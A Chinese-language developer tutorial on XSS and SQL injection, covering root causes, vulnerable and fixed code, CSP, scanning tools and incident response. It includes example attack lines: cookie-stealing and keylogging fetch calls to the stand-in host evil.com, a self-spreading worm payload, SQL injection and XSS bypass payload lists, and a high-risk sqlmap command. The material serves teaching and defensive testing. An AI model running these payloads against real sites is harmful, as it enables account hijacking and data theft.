从字节到阿里,从腾讯到美团,安全漏洞屡禁不止的背后,是99%开发者都没真正理解的一个核心原理
前言:那些让人尴尬的安全事故
前段时间跟一个在某大厂做安全的朋友聊天,他说了一个让我印象深刻的数据:即使是BAT这种级别的公司,每年内部发现的XSS和SQL注入漏洞数量仍然是三位数。
你可能会想,这些顶尖互联网公司,有专业的安全团队,有完善的代码审查流程,怎么还会出这种"低级"问题?
答案很简单:大多数开发者根本不理解这些漏洞的本质。他们把XSS和SQL注入当成"两个独立的安全问题"去记忆,而不是从底层原理去理解。就像背公式一样,考试能过,实战就废。
今天我们不讲那些高大上的安全理论,就从最核心的原理开始,用大白话和实战代码,把XSS和SQL注入这两个看似不同的漏洞,剖析到骨子里。
一、核心原理:一切安全问题的根源
1.1 用饭店点菜来理解"代码"和"数据"
先来个比喻帮你建立直觉。
假设你去饭店吃饭:
- 菜单(代码):这是餐厅预先定义好的,你只能从菜单里选
- 你的选择(数据):你指定要"宫保鸡丁"还是"麻婆豆腐"
正常流程应该是这样的:
[你的选择] → [服务员确认] → [厨房按菜单做菜] → [端给你]
(数据) (验证) (执行代码) (结果)
现在想象一个场景:如果你说"我要一份宫保鸡丁,顺便帮我把厨房的火关了",这时候问题就来了:
- 如果服务员傻乎乎地照做,他会把"关火"这个操作指令(代码)当成了菜品名称(数据),直接传给厨房执行
这就是XSS和SQL注入的本质:攻击者把恶意的"代码"伪装成"数据",而系统没有正确地分辨两者,导致执行了不该执行的操作。
1.2 技术层面的解释
用技术语言翻译一下:
攻击成功的条件 = 混淆代码边界 + 缺乏输入验证 + 执行未经过滤的内容
画个流程图更清楚:
正常流程:
┌──────────┐ ┌──────────┐ ┌──────────┐
│ 用户输入 │───▶│ 数据存储 │───▶│ 安全输出 │
└──────────┘ └──────────┘ └──────────┘
↓
[纯数据,无执行]
攻击流程:
┌──────────┐ ┌──────────┐ ┌──────────┐
│ 恶意输入 │───▶│ 直接拼接 │───▶│ 作为代码 │
│ <script> │ │ 无过滤 │ │ 被执行! │
└──────────┘ └──────────┘ └──────────┘
↑ ↓
[致命缺陷] [攻击成功]
记住这个原理,后面所有的分析都围绕它展开。
二、SQL注入:数据库的"恶意点菜"
2.1 先看一个真实的反面教材
这是我在代码审查时真实看到的一段代码(来自某创业公司的后台系统):
// ❌ 千万别这么写!这是生产事故的导火索
app.post('/login', async (req, res) => {
const { username, password } = req.body;
// 直接拼接SQL - 这是灾难的开始
const query = `
SELECT * FROM users
WHERE username = '${username}'
AND password = '${password}'
`;
const result = await db.query(query);
if (result.length > 0) {
res.json({ success: true, token: generateToken() });
} else {
res.json({ success: false, message: '用户名或密码错误' });
}
});
看起来很正常对吧?但只要我输入这个:
// 攻击者的输入
username: "admin' OR '1'='1"
password: "随便什么"
SQL语句就变成了:
SELECT * FROM users
WHERE username = 'admin' OR '1'='1'
AND password = '随便什么'
2.2 拆解攻击原理
我们来看看这个攻击是怎么work的:
原始意图(开发者的想法):
查询条件 = (用户名匹配) AND (密码匹配)
攻击后的实际执行:
查询条件 = (用户名=admin) OR (永远为真) AND (密码匹配)
由于SQL的运算符优先级,OR会短路整个条件,导致:
最终结果 = 绕过了密码验证,直接登录成功!
用ASCII图解释这个"偷梁换柱":
正常的SQL语句边界:
┌────────────┬─────────┬────────────┐
│ WHERE │ username│ AND pwd │
│ (SQL代码) │ (数据) │ (SQL代码) │
└────────────┴─────────┴────────────┘
注入后的边界混乱:
┌────────────┬──────────────────────┬─────┐
│ WHERE │ username' OR '1'='1 │ AND │
│ (SQL代码) │ (伪装的SQL代码!) │(代码)│
└────────────┴──────────────────────┴─────┘
↑
[边界被突破]
2.3 常见的SQL注入类型
让我给你分类讲解几种常见的注入手法:
类型1: Union注入(数据泄露利器)
-- 正常查询
SELECTid, nameFROM products WHEREcategory = '手机'
-- 注入后
SELECTid, nameFROM products WHEREcategory = '手机'
UNIONSELECT username, passwordFROMusers--'
危害:能够把其他表的数据混入结果集,直接导出用户表、订单表等敏感信息。
类型2: 时间盲注(慢性毒药)
-- 攻击者无法直接看到数据,但可以通过响应时间判断
SELECT * FROM users WHERE id = 1 AND
IF(SUBSTRING(password,1,1)='a', SLEEP(5), 0)
原理:如果密码第一位是'a',数据库会睡眠5秒。攻击者通过响应时间,逐字符爆破出密码。
类型3: 二次注入(防不胜防)
这个更隐蔽:
// 第一步:注册用户,看起来很安全
POST /register
username: "admin'--"
// 此时被安全地存入数据库
// 第二步:修改密码,这里忘了防御
UPDATE users SET password = '新密码'
WHERE username = '从数据库读取的username'
// 实际执行: WHERE username = 'admin'--'
// 结果:把admin的密码改了!
2.4 正确的防御方式:参数化查询
核心思想:让数据库明确知道哪些是代码,哪些是数据
// ✅ Node.js + PostgreSQL 正确写法
const query = 'SELECT * FROM users WHERE username = $1 AND password_hash = $2';
const values = [username, bcrypt.hashSync(password)];
const result = await client.query(query, values);
为什么这样安全?
数据库引擎会这样处理:
第一步: 编译SQL模板
"SELECT * FROM users WHERE username = $1 AND password_hash = $2"
↓
[确定这是一个查询结构,有2个参数位置]
第二步: 绑定参数(作为纯数据)
$1 = "admin' OR '1'='1" ← 注意:整个字符串被当作一个值
$2 = "hashedPassword"
↓
[数据库会自动转义特殊字符,单引号变成普通字符]
第三步: 执行
查询条件: username字段值是否等于字面量 "admin' OR '1'='1"
↓
[根本不会匹配,因为没有用户名真的叫这个]
用对比图说明:
字符串拼接(危险):
代码 + 数据 = "新代码" → 执行"新代码"
↓
[边界模糊,可被篡改]
参数化查询(安全):
代码(预编译) + 数据(只读) = 执行预编译的代码,填入数据
↓
[边界清晰,无法篡改代码结构]
2.5 各技术栈的最佳实践
Node.js生态
// ✅ MySQL2 (支持Prepared Statement)
const [rows] = await pool.execute(
'SELECT * FROM orders WHERE user_id = ? AND status = ?',
[userId, 'active']
);
// ✅ Sequelize ORM (会自动参数化)
const orders = await Order.findAll({
where: {
userId: userId,
status: 'active'
}
});
// ⚠️ 动态表名/字段名怎么办?用白名单!
const allowedSortFields = ['created_at', 'price', 'name'];
const sortField = allowedSortFields.includes(req.query.sort)
? req.query.sort
: 'created_at';
const query = `SELECT * FROM products ORDER BY ${sortField} DESC`;
Python生态
# ✅ psycopg2 (PostgreSQL)
cursor.execute(
"SELECT * FROM users WHERE email = %s AND age > %s",
(email, 18)
)
# ✅ SQLAlchemy ORM
users = session.query(User).filter(
User.email == email,
User.age > 18
).all()
PHP生态
// ✅ PDO (推荐)
$stmt = $pdo->prepare('SELECT * FROM users WHERE email = :email');
$stmt->execute(['email' => $email]);
// ✅ MySQLi Prepared Statement
$stmt = $mysqli->prepare('SELECT * FROM users WHERE email = ?');
$stmt->bind_param('s', $email);
$stmt->execute();
2.6 进阶防御:纵深防护
仅仅参数化还不够,我们需要多层防护:
// 完整的安全实践示例
const { z } = require('zod');
// 1. 输入验证(第一道防线)
const loginSchema = z.object({
username: z.string()
.min(3).max(30)
.regex(/^[a-zA-Z0-9_-]+$/), // 只允许字母数字下划线
password: z.string().min(8).max(100)
});
app.post('/login', async (req, res) => {
// 2. 验证输入格式
const validation = loginSchema.safeParse(req.body);
if (!validation.success) {
return res.status(400).json({ error: '输入格式不合法' });
}
const { username, password } = validation.data;
// 3. 使用参数化查询(核心防御)
const query = 'SELECT id, password_hash FROM users WHERE username = $1';
const result = await db.query(query, [username]);
// 4. 数据库账户使用最小权限原则
// (配置层面:应用账户只有SELECT/INSERT/UPDATE权限,没有DROP/ALTER权限)
// 5. 不要在生产环境泄露SQL错误
try {
// ... 业务逻辑
} catch (err) {
logger.error('Login error:', err); // 记录到日志
res.status(500).json({ error: '服务器错误' }); // 用户只看到通用错误
}
});
三、XSS攻击:浏览器的"恶意外卖"
3.1 从一个真实场景说起
某电商平台的评论区曾经出过一个经典漏洞:
// 后端返回评论数据
{
"comment": "<script>fetch('http://evil.com?cookie='+document.cookie)</script>",
"username": "黑客小王"
}
// 前端直接渲染(❌ 错误示范!)
app.get('/product/:id', (req, res) => {
const comments = getComments(req.params.id);
res.send(`
<div class="comments">
${comments.map(c => `
<div class="comment">
<p>${c.username} 说:</p>
<div>${c.comment}</div> ← 这里炸了!
</div>
`).join('')}
</div>
`);
});
结果:所有访问这个商品页面的用户,他们的Cookie(包括登录凭证)都被发送到了evil.com,黑客可以直接劫持他们的账户。
3.2 XSS的三种类型
类型1: 反射型XSS(最常见)
// 场景:搜索功能
app.get('/search', (req, res) => {
const keyword = req.query.q;
res.send(`<p>搜索结果: "${keyword}"</p>`); // ❌ 危险!
});
// 攻击URL:
https://example.com/search?q=<script>alert(document.cookie)</script>
特点:攻击代码在URL里,需要诱导用户点击链接。
类型2: 存储型XSS(最危险)
// 场景:用户发布文章
app.post('/article', async (req, res) => {
const { title, content } = req.body;
// ❌ 直接存储,没有过滤
await db.query(
'INSERT INTO articles (title, content) VALUES ($1, $2)',
[title, content]
);
});
// 读取时也没过滤
app.get('/article/:id', async (req, res) => {
const article = await db.query('SELECT * FROM articles WHERE id = $1', [req.params.id]);
res.send(`
<h1>${article.title}</h1>
<div>${article.content}</div> ← 存储的恶意脚本在这里执行!
`);
});
危害:一次注入,永久生效,影响所有访问者。
类型3: DOM型XSS(纯前端问题)
// ❌ 常见的错误写法
// URL: https://example.com/#<img src=x onerror=alert(1)>
const hash = window.location.hash.slice(1);
document.getElementById('content').innerHTML = hash; // 直接写入DOM!
用流程图解释攻击链:
反射型XSS:
用户点击恶意链接 → 服务器读取URL参数 → 未过滤直接返回HTML
→ 浏览器解析HTML → 执行恶意脚本
存储型XSS:
攻击者发布恶意内容 → 存储到数据库 → 受害者访问页面
→ 服务器读取恶意内容 → 返回给浏览器 → 执行恶意脚本
DOM型XSS:
恶意URL → 前端JavaScript读取URL → 直接操作DOM
→ 浏览器执行恶意代码 (整个过程不经过服务器!)
3.3 XSS能干什么?
很多人觉得"弹个alert有什么大不了",实际上XSS的危害远超想象:
// 1. 盗取Cookie(最常见)
fetch('http://evil.com?c=' + document.cookie);
// 2. 键盘记录(获取密码)
document.addEventListener('keypress', (e) => {
fetch('http://evil.com?key=' + e.key);
});
// 3. 钓鱼(伪造登录框)
document.body.innerHTML = `
<div style="position:fixed;top:0;left:0;width:100%;height:100%;background:#fff;z-index:9999">
<form action="http://evil.com/steal">
<input name="password" placeholder="会话已过期,请重新登录">
<button>登录</button>
</form>
</div>
`;
// 4. 蠕虫传播(微博XSS蠕虫的原理)
// 自动发布包含恶意代码的内容,感染所有看到的人
const payload = '<script src="http://evil.com/worm.js"></script>';
fetch('/api/post', {
method: 'POST',
body: JSON.stringify({ content: payload })
});
// 5. 挖矿(消耗用户CPU)
const miner = new CoinHive.Anonymous('攻击者的钱包地址');
miner.start();
3.4 正确的防御方式
方法1: 输出编码(最核心)
原理:把特殊字符转义成HTML实体,让浏览器显示而不执行
// 手动实现HTML转义
function escapeHtml(unsafe) {
return unsafe
.replace(/&/g, "&")
.replace(/</g, "<")
.replace(/>/g, ">")
.replace(/"/g, """)
.replace(/'/g, "'");
}
// 使用
const comment = '<script>alert("xss")</script>';
const safe = escapeHtml(comment);
// 结果: "<script>alert("xss")</script>"
// 浏览器会显示 "<script>alert("xss")</script>" 而不是执行它
不同上下文需要不同的转义:
// HTML内容上下文
<div>{{ escapeHtml(userInput) }}</div>
// HTML属性上下文(需要额外转义引号)
<img alt="{{ escapeHtmlAttr(userInput) }}">
// JavaScript上下文(更复杂,最好避免)
<script>
const data = "{{ escapeJs(userInput) }}"; // 仍然危险!
</script>
// URL参数上下文
<a href="?name={{ encodeURIComponent(userInput) }}">
// CSS上下文(几乎无法安全转义,应该禁止用户输入)
<div style="color: {{ userInput }}"> // ❌ 非常危险!
方法2: 使用安全的前端框架
现代框架默认就做了转义:
// React (默认安全)
function Comment({ text }) {
return<div>{text}</div>; // ✅ React自动转义
}
// 即使text是 "<script>alert(1)</script>"
// React也会渲染成文本,而不是执行
// Vue (默认安全)
<template>
<div>{{ userInput }}</div> <!-- ✅ Vue自动转义 -->
</template>
// ⚠️ 但要注意这些危险API:
// React
<div dangerouslySetInnerHTML={{ __html: userInput }} /> // ❌ 非常危险!
// Vue
<div v-html="userInput"></div>// ❌ 非常危险!
方法3: Content Security Policy (CSP)
CSP是最后一道防线,即使有XSS漏洞,也能限制其危害:
// Express示例
app.use((req, res, next) => {
res.setHeader(
'Content-Security-Policy',
"default-src 'self'; " + // 默认只允许同源资源
"script-src 'self' https://cdn.example.com; " + // 脚本只能从指定域加载
"style-src 'self' 'unsafe-inline'; " + // 样式允许同源和内联
"img-src * data:; " + // 图片可以从任何地方加载
"connect-src 'self' https://api.example.com; " + // API请求限制
"font-src 'self' https://fonts.googleapis.com; " +
"object-src 'none'; " + // 禁止插件
"base-uri 'self'; " + // 限制<base>标签
"form-action 'self'; " + // 表单只能提交到同源
"frame-ancestors 'none'; " + // 防止被iframe嵌入
"upgrade-insecure-requests;" // 自动升级HTTP到HTTPS
);
next();
});
CSP如何防御XSS:
没有CSP:
<script>fetch('http://evil.com?c='+document.cookie)</script>
↓
[攻击成功,数据泄露]
有CSP (connect-src 'self'):
<script>fetch('http://evil.com?c='+document.cookie)</script>
↓
[浏览器拒绝发送请求,攻击失败]
Console: "Refused to connect to 'http://evil.com'..."
方法4: HTTPOnly Cookie
// ✅ 设置HTTPOnly标志
res.cookie('sessionId', token, {
httpOnly: true, // JavaScript无法读取
secure: true, // 仅HTTPS传输
sameSite: 'strict' // 防CSRF
});
// 攻击者即使注入了XSS,也读不到Cookie:
console.log(document.cookie); // 空字符串!
3.5 完整的防御代码示例
const express = require('express');
const { z } = require('zod');
const DOMPurify = require('isomorphic-dompurify');
const app = express();
// 1. 设置CSP
app.use((req, res, next) => {
res.setHeader('Content-Security-Policy', "default-src 'self'; script-src 'self'");
next();
});
// 2. 输入验证
const commentSchema = z.object({
content: z.string().max(1000), // 限制长度
rating: z.number().int().min(1).max(5)
});
// 3. 存储评论
app.post('/api/comment', async (req, res) => {
const validation = commentSchema.safeParse(req.body);
if (!validation.success) {
return res.status(400).json({ error: '输入不合法' });
}
const { content, rating } = validation.data;
// 4. 如果必须支持富文本,使用DOMPurify净化
const cleanContent = DOMPurify.sanitize(content, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a'], // 只允许安全标签
ALLOWED_ATTR: ['href'] // 只允许安全属性
});
// 5. 存储到数据库(使用参数化查询)
await db.query(
'INSERT INTO comments (content, rating) VALUES ($1, $2)',
[cleanContent, rating]
);
res.json({ success: true });
});
// 6. 读取评论(使用React自动转义)
app.get('/api/comments', async (req, res) => {
const comments = await db.query('SELECT * FROM comments');
res.json(comments); // React端会自动转义
});
React组件:
function CommentList() {
const [comments, setComments] = useState([]);
useEffect(() => {
fetch('/api/comments')
.then(r => r.json())
.then(setComments);
}, []);
return (
<div>
{comments.map(comment => (
<div key={comment.id}>
{/* ✅ React自动转义,安全 */}
<p>{comment.content}</p>
{/* ⚠️ 如果确实需要富文本 */}
<div dangerouslySetInnerHTML={{
__html: comment.content // 前提:后端已用DOMPurify处理
}} />
</div>
))}
</div>
);
}
四、实战:常见场景的攻防演练
4.1 场景一:搜索功能
错误写法:
// ❌ 服务端
app.get('/search', (req, res) => {
const keyword = req.query.q;
res.send(`<h1>搜索结果: ${keyword}</h1>`);
});
// 攻击: /search?q=<script>alert(1)</script>
正确写法:
// ✅ 服务端(使用模板引擎自动转义)
app.get('/search', (req, res) => {
const keyword = req.query.q || '';
res.render('search', { keyword }); // EJS/Pug会自动转义
});
// 或者用React
function SearchPage() {
const [keyword] = useSearchParams();
return <h1>搜索结果: {keyword.get('q')}</h1>; // ✅ React自动转义
}
4.2 场景二:用户资料页
// ❌ 错误:直接输出用户自定义的HTML
app.get('/profile/:id', async (req, res) => {
const user = await db.query('SELECT * FROM users WHERE id = $1', [req.params.id]);
res.send(`
<div class="profile">
<h1>${user.name}</h1>
<div class="bio">${user.bio}</div> <!-- bio可能包含恶意代码 -->
</div>
`);
});
// ✅ 正确:
app.get('/profile/:id', async (req, res) => {
const user = await db.query('SELECT * FROM users WHERE id = $1', [req.params.id]);
// 方案1: 纯文本,不支持富文本
res.render('profile', {
name: user.name, // EJS: <%= name %> (自动转义)
bio: user.bio
});
// 方案2: 支持富文本(使用DOMPurify)
const cleanBio = DOMPurify.sanitize(user.bio, {
ALLOWED_TAGS: ['p', 'br', 'b', 'i', 'a'],
ALLOWED_ATTR: ['href']
});
res.render('profile', {
name: user.name,
bioHtml: cleanBio // EJS: <%- bioHtml %> (不转义,因为已净化)
});
});
4.3 场景三:JSON API
// 即使是JSON API也要小心!
// ❌ 错误:返回未转义的内容
app.get('/api/posts', async (req, res) => {
const posts = await db.query('SELECT * FROM posts');
res.json(posts); // 看起来安全?其实不是!
});
// 前端这样用就危险了:
fetch('/api/posts')
.then(r => r.json())
.then(posts => {
const html = posts.map(p =>`<div>${p.content}</div>`).join('');
document.getElementById('posts').innerHTML = html; // ❌ XSS!
});
// ✅ 正确:前端使用安全API
fetch('/api/posts')
.then(r => r.json())
.then(posts => {
const container = document.getElementById('posts');
posts.forEach(post => {
const div = document.createElement('div');
div.textContent = post.content; // ✅ textContent不会执行脚本
container.appendChild(div);
});
});
// 或者用React
function PostList({ posts }) {
return (
<div>
{posts.map(post => (
<div key={post.id}>{post.content}</div> // ✅ React自动转义
))}
</div>
);
}
4.4 场景四:文件上传(间接XSS)
// ❌ 常见漏洞:SVG文件可以包含JavaScript!
app.post('/upload', upload.single('file'), (req, res) => {
// 只检查了扩展名
if (req.file.originalname.endsWith('.jpg')) {
const path = `/uploads/${req.file.filename}`;
res.json({ url: path });
}
});
// 攻击者上传 malicious.svg:
/*
<svg xmlns="http://www.w3.org/2000/svg">
<script>alert(document.cookie)</script>
</svg>
*/
// ✅ 正确防御:
const fileType = require('file-type');
app.post('/upload', upload.single('file'), async (req, res) => {
// 1. 检查真实文件类型(不依赖扩展名)
const type = await fileType.fromFile(req.file.path);
const allowedTypes = ['image/jpeg', 'image/png', 'image/gif'];
if (!type || !allowedTypes.includes(type.mime)) {
fs.unlinkSync(req.file.path);
return res.status(400).json({ error: '不支持的文件类型' });
}
// 2. 重命名文件,使用随机名称
const ext = type.ext;
const filename = `${crypto.randomUUID()}.${ext}`;
// 3. 设置正确的Content-Type,并添加X-Content-Type-Options
res.setHeader('X-Content-Type-Options', 'nosniff');
// 4. 如果是图片,可以重新编码(最安全,但消耗资源)
if (type.mime.startsWith('image/')) {
const sharp = require('sharp');
await sharp(req.file.path)
.jpeg() // 强制转为JPEG,移除所有元数据和潜在脚本
.toFile(`uploads/${filename}`);
fs.unlinkSync(req.file.path);
}
res.json({ url: `/uploads/${filename}` });
});
五、检测与测试:怎么发现漏洞?
5.1 代码审计Checklist
在Code Review时,重点看这些:
// 🚨 SQL注入红色信号
// 1. 字符串拼接SQL
const query = "SELECT * FROM users WHERE id = " + userId; // ❌
const query = `DELETE FROM users WHERE id = ${id}`; // ❌
// 2. 使用了拼接符号的变量
db.query("SELECT * FROM " + tableName); // ❌ 即使是表名也危险
// 3. ORM的raw查询
User.findBySql(`SELECT * FROM users WHERE email = '${email}'`); // ❌
// 🚨 XSS红色信号
// 1. innerHTML/outerHTML
element.innerHTML = userInput; // ❌
div.outerHTML = data; // ❌
// 2. document.write
document.write(userInput); // ❌
// 3. eval/Function
eval("console.log('" + userInput + "')"); // ❌
newFunction(userInput)(); // ❌
// 4. 框架的危险API
<div dangerouslySetInnerHTML={{ __html: data }} />// ⚠️ 需要特别审查
<div v-html="userInput"></div> // ⚠️ 需要特别审查
// 5. location相关
location.href = userInput; // ⚠️ 可能导致JavaScript伪协议XSS
window.location = 'javascript:' + userInput; // ❌
// 6. 动态脚本创建
const script = document.createElement('script');
script.src = userInput; // ⚠️ 需要验证来源
5.2 自动化扫描工具
静态分析(SAST)
# 1. Semgrep (推荐,规则丰富)
npm install -g semgrep
semgrep --config=auto .
# 示例规则(可自定义)
# semgrep-rules.yml
rules:
- id: sql-injection-risk
pattern: |
db.query("... " + $VAR + " ...")
message: "可能的SQL注入: 使用字符串拼接构造SQL"
severity: ERROR
- id: xss-inner-html
pattern: |
$EL.innerHTML = $VAR
message: "可能的XSS: 使用innerHTML且来源未知"
severity: WARNING
# 2. ESLint (配合安全插件)
npm install eslint-plugin-security
# .eslintrc.js
{
plugins: ['security'],
extends: ['plugin:security/recommended']
}
# 3. CodeQL (GitHub自带)
# .github/workflows/codeql.yml
动态测试(DAST)
# 1. OWASP ZAP (免费开源)
docker run -t owasp/zap2docker-stable zap-baseline.py \
-t https://your-app.com \
-r zap-report.html
# 2. Burp Suite (专业版,功能强大)
# 可以录制流量,自动fuzz测试
# 3. SQLMap (专业SQL注入测试)
# ⚠️ 只能在自己的系统或有授权的系统上使用!
sqlmap -u "https://your-app.com/search?q=test" \
--batch \
--level=5 \
--risk=3 \
--threads=10
5.3 手动渗透测试Payload
SQL注入测试用例:
-- 1. 基础测试(看是否有报错)
'
"
1' OR '1'='1
1" OR "1"="1
-- 2. Union注入
' UNION SELECTNULL--
' UNION SELECT NULL,NULL--
'UNIONSELECTNULL,NULL,NULL--
-- 3. 时间盲注
' AND SLEEP(5)--
'; WAITFOR DELAY '0:0:5'--
-- 4. 布尔盲注
' AND 1=1-- (应该返回正常)
' AND 1=2-- (应该返回空)
-- 5. 堆叠查询
'; DROPTABLEusers--
XSS测试Payload:
<!-- 1. 基础测试 -->
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<!-- 2. 绕过简单过滤 -->
<ScRiPt>alert(1)</sCrIpT>
<img src=x onerror="alert`1`">
<svg><script>alert(1)</script>
<!-- 3. 事件处理器 -->
<body onload=alert(1)>
<input onfocus=alert(1) autofocus>
<select onfocus=alert(1) autofocus>
<!-- 4. JavaScript伪协议 -->
<a href="javascript:alert(1)">click</a>
<iframe src="javascript:alert(1)">
<!-- 5. 编码绕过 -->
<img src=x onerror="alert(1)">
<img src=x onerror="alert\u0028 1\u0029">
<!-- 6. 特定上下文 -->
<!-- 在属性里 -->
" onmouseover="alert(1)
' onmouseover='alert(1)
<!-- 在<script>标签里 -->
</script><script>alert(1)</script>
5.4 集成到CI/CD
# .github/workflows/security.yml
name:SecurityChecks
on:[push,pull_request]
jobs:
sast:
runs-on:ubuntu-latest
steps:
-uses:actions/checkout@v3
# 1. Semgrep扫描
-name:Semgrep
uses:returntocorp/semgrep-action@v1
with:
config:>-
p/security-audit
p/javascript
p/typescript
# 2. npm audit
-name:NPMSecurityAudit
run:npmaudit--audit-level=high
# 3. Snyk (依赖漏洞扫描)
-name:SnykSecurity
uses:snyk/actions/node@master
env:
SNYK_TOKEN:${{secrets.SNYK_TOKEN}}
dast:
runs-on:ubuntu-latest
needs:sast
steps:
# 部署到staging环境
-name:DeploytoStaging
run:|
# 部署逻辑...
# ZAP扫描
-name:OWASPZAPScan
uses:zaproxy/action-baseline@v0.7.0
with:
target:'https://staging.your-app.com'
rules_file_name:'.zap/rules.tsv'
cmd_options:'-a'
六、生产环境的监控与响应
6.1 实时监控
// WAF规则示例(AWS WAF)
{
"Name": "SQLInjectionRule",
"Priority": 1,
"Statement": {
"OrStatement": {
"Statements": [
{
"SqliMatchStatement": {
"FieldToMatch": {
"QueryString": {}
},
"TextTransformations": [
{ "Type": "URL_DECODE", "Priority": 1 },
{ "Type": "HTML_ENTITY_DECODE", "Priority": 2 }
]
}
},
{
"SqliMatchStatement": {
"FieldToMatch": {
"Body": {}
},
"TextTransformations": [
{ "Type": "NONE", "Priority": 0 }
]
}
}
]
}
},
"Action": { "Block": {} }
}
// CSP violation报告收集
app.post('/csp-report', express.json({ type: 'application/csp-report' }), (req, res) => {
const report = req.body['csp-report'];
// 记录到日志系统
logger.warn('CSP Violation', {
documentUri: report['document-uri'],
violatedDirective: report['violated-directive'],
blockedUri: report['blocked-uri'],
sourceFile: report['source-file'],
lineNumber: report['line-number']
});
// 发送告警(如果是严重违规)
if (report['violated-directive'].includes('script-src')) {
alertTeam('可能的XSS攻击尝试', report);
}
res.status(204).end();
});
6.2 应急响应流程
当发现漏洞时的标准流程:
┌─────────────────┐
│ 1. 漏洞确认 │
│ - 复现漏洞 │
│ - 评估影响范围 │
│ - 判断严重程度 │
└────────┬────────┘
↓
┌─────────────────┐
│ 2. 紧急修复 │
│ - 临时WAF规则 │
│ - 回滚有问题代码 │
│ - 关闭受影响功能 │
└────────┬────────┘
↓
┌─────────────────┐
│ 3. 彻底修复 │
│ - 修改代码 │
│ - 添加测试 │
│ - Code Review │
│ - 部署上线 │
└────────┬────────┘
↓
┌─────────────────┐
│ 4. 损害评估 │
│ - 查访问日志 │
│ - 查数据库日志 │
│ - 确定是否被利用 │
└────────┬────────┘
↓
┌─────────────────┐
│ 5. 善后处理 │
│ - 通知受影响用户 │
│ - 强制密码重置 │
│ - 撤销泄露凭证 │
│ - 复盘总结 │
└─────────────────┘
七、终极防御Checklist
把这个贴在你的显示器旁边:
输入处理
- [ ] 所有用户输入都经过服务端验证(类型、长度、格式)
数据库操作
- [ ] 100%使用参数化查询/Prepared Statement
输出处理
- [ ] 避免使用innerHTML/eval/document.write
- [ ] 如需富文本,使用DOMPurify等库净化
HTTP安全
- [ ] Cookie设置HttpOnly + Secure + SameSite
- [ ] 添加X-Content-Type-Options: nosniff
- [ ] 添加X-Frame-Options: DENY
监控与测试
团队协作
结语:安全是一种思维方式
最后说回开头的问题:为什么大厂也会出现这些"低级"漏洞?
因为安全问题本质上不是技术问题,而是意识问题和工程问题。
你写代码时脑子里要有个小人儿,时刻在问:
记住这条黄金法则:
永远不要相信任何外部输入,永远把用户当成潜在的攻击者。
这不是说要对用户不友好,而是从系统设计的角度,默认一切外部数据都是不可信的,需要经过验证、过滤、转义后才能使用。
当你把这种思维内化到每一行代码里,XSS和SQL注入自然就远离你了。